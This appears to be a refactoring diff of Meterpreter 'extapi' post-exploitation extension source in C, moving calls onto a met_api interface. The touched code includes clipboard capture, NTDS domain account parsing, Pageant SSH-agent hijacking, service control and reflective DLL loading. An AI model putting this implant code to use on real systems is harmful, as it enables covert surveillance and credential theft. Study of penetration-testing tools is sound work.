|
||||
@ -1229,7 +1230,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard events", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
pState->hThread = thread_create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
|
||||
pState->hThread = met_api->thread.create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
|
||||
|
||||
if (pState->hThread == NULL)
|
||||
{
|
||||
@ -1237,10 +1238,10 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
gClipboardState = pState;
|
||||
thread_run(pState->hThread);
|
||||
met_api->thread.run(pState->hThread);
|
||||
|
||||
// 4 seconds should be long enough for the thread to indicate it's started, if not, bomb out
|
||||
if (!event_poll(pState->hResponseEvent, 4000))
|
||||
if (!met_api->event.poll(pState->hResponseEvent, 4000))
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread failed to start correctly", ERROR_ABANDONED_WAIT_0);
|
||||
}
|
||||
@ -1262,7 +1263,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
gClipboardState = NULL;
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
met_api->packet.transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1276,8 +1277,8 @@ DWORD clipboard_monitor_pause(ClipboardState* pState)
|
||||
{
|
||||
if (pState->bRunning)
|
||||
{
|
||||
event_signal(pState->hPauseEvent);
|
||||
event_poll(pState->hResponseEvent, INFINITE);
|
||||
met_api->event.signal(pState->hPauseEvent);
|
||||
met_api->event.poll(pState->hResponseEvent, INFINITE);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
@ -1292,8 +1293,8 @@ DWORD clipboard_monitor_resume(ClipboardState* pState)
|
||||
{
|
||||
if (!pState->bRunning)
|
||||
{
|
||||
event_signal(pState->hResumeEvent);
|
||||
event_poll(pState->hResponseEvent, INFINITE);
|
||||
met_api->event.signal(pState->hResumeEvent);
|
||||
met_api->event.poll(pState->hResponseEvent, INFINITE);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
@ -1321,7 +1322,7 @@ DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
|
||||
dwResult = clipboard_monitor_pause(gClipboardState);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
met_api->packet.transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1348,7 +1349,7 @@ DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
|
||||
dwResult = clipboard_monitor_resume(gClipboardState);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
met_api->packet.transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1364,7 +1365,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
BOOL bDump = TRUE;
|
||||
BOOL bIncludeImages = TRUE;
|
||||
Packet *pResponse = packet_create_response(packet);
|
||||
Packet *pResponse = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -1374,18 +1375,18 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Stopping clipboard monitor");
|
||||
bDump = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
|
||||
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
bDump = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
|
||||
bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
|
||||
// now stop the show
|
||||
event_signal(gClipboardState->hThread->sigterm);
|
||||
met_api->event.signal(gClipboardState->hThread->sigterm);
|
||||
|
||||
// if they don't terminate in a reasonable period of time...
|
||||
if (!event_poll(gClipboardState->hResponseEvent, 10000))
|
||||
if (!met_api->event.poll(gClipboardState->hResponseEvent, 10000))
|
||||
{
|
||||
// ... FINISH HIM!
|
||||
dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough");
|
||||
thread_kill(gClipboardState->hThread);
|
||||
met_api->thread.kill(gClipboardState->hThread);
|
||||
}
|
||||
|
||||
if (bDump)
|
||||
@ -1397,7 +1398,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, remote, pResponse);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1413,7 +1414,7 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
BOOL bIncludeImages = TRUE;
|
||||
BOOL bPurge = TRUE;
|
||||
Packet *pResponse = packet_create_response(packet);
|
||||
Packet *pResponse = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -1421,8 +1422,8 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
|
||||
}
|
||||
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
bPurge = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
|
||||
bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
bPurge = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Purging? %s", bPurge ? "TRUE" : "FALSE");
|
||||
|
||||
@ -1430,15 +1431,15 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
|
||||
|
||||
if (bPurge)
|
||||
{
|
||||
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
|
||||
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, remote, pResponse);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1454,7 +1455,7 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
BOOL bIncludeImages = TRUE;
|
||||
BOOL bPurge = TRUE;
|
||||
Packet *pResponse = packet_create_response(packet);
|
||||
Packet *pResponse = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -1463,14 +1464,14 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
|
||||
}
|
||||
|
||||
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
|
||||
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, remote, pResponse);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
@ -2,12 +2,13 @@
|
||||
* @file extapi.h
|
||||
* @brief Entry point and intialisation definitions for the extended API extension.
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "window.h"
|
||||
@ -18,9 +19,6 @@
|
||||
#include "ntds.h"
|
||||
#include "pageantjacker.h"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
/*! @brief List of commands that the extended API extension providers. */
|
||||
Command customCommands[] =
|
||||
{
|
||||
@ -45,14 +43,15 @@ Command customCommands[] =
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
initialise_clipboard();
|
||||
initialise_service();
|
||||
@ -67,7 +66,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief NTDS channel interface
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
@ -28,10 +29,10 @@ typedef struct
|
||||
// The user interacts with the NTDS database through that channel from that point on.
|
||||
DWORD ntds_parse(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
|
||||
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
|
||||
PCHAR filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
|
||||
// Check if the File exists
|
||||
if (0xffffffff == GetFileAttributes(filePath)) {
|
||||
res = 2;
|
||||
@ -149,7 +150,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet)
|
||||
chops.native.context = ctx;
|
||||
chops.native.close = ntds_channel_close;
|
||||
chops.read = ntds_channel_read;
|
||||
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
|
||||
if (!(newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
free(accountColumns);
|
||||
@ -159,11 +160,11 @@ DWORD ntds_parse(Remote *remote, Packet *packet)
|
||||
goto out;
|
||||
}
|
||||
|
||||
channel_set_type(newChannel, "ntds");
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
|
||||
met_api->channel.set_type(newChannel, "ntds");
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
|
||||
|
||||
out:
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Definitions for NTDS Jet Engine functions
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
@ -246,7 +247,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
char *accountNameStr = wchar_to_utf8(accountName);
|
||||
char *accountNameStr = met_api->string.wchar_to_utf8(accountName);
|
||||
if (accountNameStr) {
|
||||
strncpy_s(userAccount->accountName, ACCOUNT_NAME_SIZE, accountNameStr, ACCOUNT_NAME_SIZE - 1);
|
||||
free(accountNameStr);
|
||||
@ -262,7 +263,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
char *accountDescriptionStr = wchar_to_utf8(accountDescription);
|
||||
char *accountDescriptionStr = met_api->string.wchar_to_utf8(accountDescription);
|
||||
if (accountDescriptionStr) {
|
||||
strncpy_s(userAccount->accountDescription, ACCOUNT_DESC_SIZE, accountDescriptionStr, ACCOUNT_DESC_SIZE - 1);
|
||||
free(accountDescriptionStr);
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Entry point and intialisation functionality for the pageantjacker extention.
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include "pageantjacker.h"
|
||||
|
||||
#include <stdio.h>
|
||||
@ -173,14 +174,14 @@ out:
|
||||
|
||||
DWORD request_pageant_send_query(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD rawDataSizeIn = 0;
|
||||
Byte *rawDataIn = NULL;
|
||||
byte *rawDataIn = NULL;
|
||||
PAGEANTQUERYRESULTS results = { 0 };
|
||||
|
||||
// Retrieve from metasploit
|
||||
rawDataSizeIn = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN);
|
||||
rawDataIn = packet_get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN);
|
||||
rawDataSizeIn = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN);
|
||||
rawDataIn = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN);
|
||||
|
||||
dprintf("[PJ(request_pageant_send_query)] Size in: %d. Data is at 0x%p", rawDataSizeIn, rawDataIn);
|
||||
|
||||
@ -194,9 +195,9 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet)
|
||||
send_query_to_pageant(rawDataIn, rawDataSizeIn, (PAGEANTQUERYRESULTS *) &results);
|
||||
|
||||
// Build the packet based on the respones from the Pageant interaction.
|
||||
packet_add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result);
|
||||
packet_add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage);
|
||||
met_api->packet.add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result);
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage);
|
||||
dprintf("[PJ(request_pageant_send_query)] Success: %d. Return data len "
|
||||
"%d, data is at 0x%p. Error message at 0x%p (%d)",
|
||||
results.result, results.bloblength, results.blob,
|
||||
@ -205,7 +206,7 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet)
|
||||
free(results.blob);
|
||||
|
||||
// Transmit the packet to metasploit
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -4,6 +4,7 @@
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "service.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include <Sddl.h>
|
||||
|
||||
@ -189,7 +190,7 @@ DWORD request_service_control(Remote *remote, Packet *packet)
|
||||
LPSTR lpServiceName = NULL;
|
||||
ServiceOperation eServiceOp = 0;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -200,13 +201,13 @@ DWORD request_service_control(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME);
|
||||
lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME);
|
||||
if (!lpServiceName)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
eServiceOp = (ServiceOperation)packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP);
|
||||
eServiceOp = (ServiceOperation)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP);
|
||||
if (eServiceOp == 0)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service operation parameter", ERROR_INVALID_PARAMETER);
|
||||
@ -220,7 +221,7 @@ DWORD request_service_control(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -235,7 +236,7 @@ DWORD request_service_control(Remote *remote, Packet *packet)
|
||||
DWORD request_service_enum(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -254,7 +255,7 @@ DWORD request_service_enum(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -274,7 +275,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
|
||||
{
|
||||
LPSTR lpServiceName = NULL;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -285,7 +286,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
|
||||
lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
|
||||
if (!lpServiceName)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER);
|
||||
@ -299,7 +300,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -605,15 +606,15 @@ DWORD execute_service_task(LPCSTR cpServiceName, ServiceOperation eServiceOp, Pa
|
||||
*/
|
||||
VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive)
|
||||
{
|
||||
Packet* pGroup = packet_create_group();
|
||||
Packet* pGroup = met_api->packet.create_group();
|
||||
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName);
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId);
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus);
|
||||
packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus);
|
||||
met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive);
|
||||
|
||||
packet_add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup);
|
||||
met_api->packet.add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup);
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -658,12 +659,12 @@ DWORD get_service_config(SC_HANDLE scService, Packet *pResponse)
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Start type: %u", lpServiceConfig->dwStartType);
|
||||
packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : "");
|
||||
packet_add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS);
|
||||
met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : "");
|
||||
met_api->packet.add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -703,7 +704,7 @@ DWORD get_service_status(SC_HANDLE scService, Packet *pResponse)
|
||||
break;
|
||||
}
|
||||
|
||||
packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState);
|
||||
met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState);
|
||||
|
||||
} while (0);
|
||||
|
||||
@ -757,7 +758,7 @@ DWORD get_service_dacl(SC_HANDLE scService, Packet *pResponse)
|
||||
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string");
|
||||
}
|
||||
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString);
|
||||
|
||||
} while (0);
|
||||
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Definitions for window management functionality
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include "window.h"
|
||||
|
||||
VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle_u, const wchar_t* cpClassName_u, DWORD dwProcessId);
|
||||
@ -186,7 +187,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
QWORD parentWindow = 0;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
BOOL bIncludeUnknown = FALSE;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -199,10 +200,10 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
|
||||
// Extract the specified parent window. If this is NULL, that's ok, as we'll
|
||||
// just enumerate top-level windows.
|
||||
parentWindow = packet_get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE);
|
||||
parentWindow = met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE);
|
||||
|
||||
// Extract the flag that indicates of unknown windows should be included in the output
|
||||
bIncludeUnknown = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN);
|
||||
bIncludeUnknown = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN);
|
||||
|
||||
dprintf("[EXTAPI WINDOW] Beginning window enumeration");
|
||||
dwResult = enumerate_windows(response, bIncludeUnknown, parentWindow);
|
||||
@ -212,7 +213,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI WINDOW] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -228,11 +229,11 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
|
||||
*/
|
||||
VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle, const wchar_t* cpClassName, DWORD dwProcessId)
|
||||
{
|
||||
Packet* pGroup = packet_create_group();
|
||||
Packet* pGroup = met_api->packet.create_group();
|
||||
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId);
|
||||
packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, wchar_to_utf8(cpWindowTitle));
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, wchar_to_utf8(cpClassName));
|
||||
packet_add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId);
|
||||
met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, met_api->string.wchar_to_utf8(cpWindowTitle));
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, met_api->string.wchar_to_utf8(cpClassName));
|
||||
met_api->packet.add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup);
|
||||
}
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Definitions for WMI request handling functionality.
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include "wshelpers.h"
|
||||
#include "wmi.h"
|
||||
